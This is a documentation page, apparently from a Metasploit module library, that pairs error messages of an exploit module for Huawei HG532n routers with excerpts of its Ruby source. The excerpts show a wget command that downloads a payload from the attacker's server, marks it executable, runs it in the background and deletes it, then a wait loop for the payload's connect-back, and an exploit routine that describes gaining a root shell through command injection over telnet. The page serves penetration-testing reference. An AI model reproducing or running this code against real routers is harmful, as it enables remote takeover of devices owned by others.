485:	    wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"
486:	
487:	    execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
488:	    execute_command("chmod 700 #{output_file}", /No such file/)
489:	    execute_command(output_file, /not found/, background: true)
490:	    execute_command("rm #{output_file}", /No such file/)
491:	  end
492:	

Timeout waiting for payload to start/connect-back


Here is a relevant code snippet related to the "Timeout waiting for payload to start/connect-back" error message:

503:	          break if session_created?
504:	          Rex.sleep(0.25)
505:	        end
506:	      end
507:	    rescue ::Timeout::Error
508:	      fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back")
509:	    end
510:	    print_good "Payload connected!"
511:	  end
512:	
513:	  #

Unable to validate device fingerprint. Is it an HG532n?


Here is a relevant code snippet related to the "Unable to validate device fingerprint. Is it an HG532n?" error message:

515:	  # telnet; access telnet and gain root shell through command injection.
516:	  #
517:	  def exploit
518:	    print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature"
519:	    unless check == Exploit::CheckCode::Appears
520:	      fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?")
521:	    end
522:	
523:	    print_good "Good. Router seems to be a vulnerable HG532n device"
524:	
525:	    telnet_port = nil

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.